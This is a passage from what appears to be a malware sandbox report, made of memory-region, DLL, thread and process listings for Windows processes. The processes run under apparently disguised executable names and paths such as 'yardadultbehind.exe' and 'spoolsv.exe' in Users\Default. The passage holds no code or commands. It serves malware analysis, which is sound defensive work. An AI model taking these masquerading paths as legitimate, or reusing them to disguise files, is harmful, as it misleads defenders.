0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5870 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5871 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5872 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5873 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5874 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 5875 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5876 start_va = 0x250000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 5877 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5878 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5879 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5880 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 5881 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5882 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5883 start_va = 0x250000 end_va = 0x2b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5884 start_va = 0x320000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 5885 start_va = 0x3a0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 5886 start_va = 0x460000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 5887 start_va = 0x560000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5914 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5915 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5916 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5917 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5918 start_va = 0x730000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 5919 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5920 start_va = 0x6b0000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 5921 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5922 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5923 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5924 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5925 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5926 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5927 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5940 start_va = 0x110000 end_va = 0x138fff monitored = 0 entry_point = 0x111010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5941 start_va = 0x890000 end_va = 0xa17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 5942 start_va = 0x110000 end_va = 0x138fff monitored = 0 entry_point = 0x111010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5943 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5944 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5945 start_va = 0xa20000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 5946 start_va = 0xbb0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bb0000" filename = "" Region: id = 5947 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5948 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5949 start_va = 0x730000 end_va = 0x7fffff monitored = 1 entry_point = 0x7fd67e region_type = mapped_file name = "spoolsv.exe" filename = "\\Users\\Default\\spoolsv.exe" (normalized: "c:\\users\\default\\spoolsv.exe") Region: id = 5950 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 5951 start_va = 0x730000 end_va = 0x7fffff monitored = 1 entry_point = 0x7fd67e region_type = mapped_file name = "spoolsv.exe" filename = "\\Users\\Default\\spoolsv.exe" (normalized: "c:\\users\\default\\spoolsv.exe") Region: id = 6036 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6037 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6038 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6039 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6040 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 6041 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 6266 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 6267 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 6268 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 6269 start_va = 0x7fe907f0000 end_va = 0x7fe907fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe907f0000" filename = "" Region: id = 6270 start_va = 0x7fe90800000 end_va = 0x7fe9080ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90800000" filename = "" Region: id = 6271 start_va = 0x7fe90810000 end_va = 0x7fe9089ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 6336 start_va = 0x7fe908a0000 end_va = 0x7fe9090ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908a0000" filename = "" Region: id = 6337 start_va = 0x2d0000 end_va = 0x2d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 6338 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 6339 start_va = 0x730000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 6340 start_va = 0x1fb0000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 6341 start_va = 0x2130000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 6342 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6343 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 6344 start_va = 0x2230000 end_va = 0x1a22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Thread: id = 262 os_tid = 0xd40 Thread: id = 293 os_tid = 0xe44 Process: id = "72" image_name = "yardadultbehind.exe" filename = "c:\\program files\\windows nt\\accessories\\en-us\\yardadultbehind.exe" page_root = "0x3d2e7000" os_pid = "0xd58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "\"C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6044 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 6045 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6046 start_va = 0x180000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 6047 start_va = 0xf70000 end_va = 0x1045fff monitored = 1 entry_point = 0x103d67e region_type = mapped_file name = "yardadultbehind.exe" filename = "\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\yardadultbehind.exe") Region: id = 6048 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6049 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6050 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6051 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6052 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6053 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 6054 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 6055 start_va = 0x280000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 6056 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 6057 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6058 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6059 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6060 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6061 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6062 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6063 start_va = 0xb0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 6064 start_va = 0x3f0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 6065 start_va = 0x4f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 6272 start_va = 0x790000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 6273 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 6274 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6275 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6276 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6277 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6278 start_va = 0x890000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 6279 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 6280 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6281 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 6282 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Thread: id = 281 os_tid = 0xde0 Thread: id = 291 os_tid = 0xe2c Process: id = "73" image_name = "taskhost.exe" filename = "c:\\program files\\reference assemblies\\taskhost.exe" page_root = "0x3ec5d000" os_pid = "0xd70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "68" os_parent_pid = "0xa70" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\taskhost.exe\" " cur_dir = "C:\\comproviderRuntimecommon\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5955 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5956 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5957 start_va = 0x80000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 5958 start_va = 0xaa0000 end_va = 0xb75fff monitored = 1 entry_point = 0xb6d67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 5959 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5960 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5961 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5962 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5963 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5964 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5965 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5966 start_va = 0x180000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5967 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5968 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5969 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5970 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5971 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5972 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5973 start_va = 0x240000 end_va = 0x2a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5974 start_va = 0x2b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 5975 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 5976 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 5977 start_va = 0x3c0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 5978 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5979 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5980 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5981 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5982 start_va = 0x40000 end_va = 0x5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5983 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5984 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5985 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5986 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5987 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5988 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5989 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5990 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5991 start_va = 0x180000 end_va = 0x1a8fff monitored = 0 entry_point = 0x181010 region_type = mapped_file name = "imm32.dll" filename = 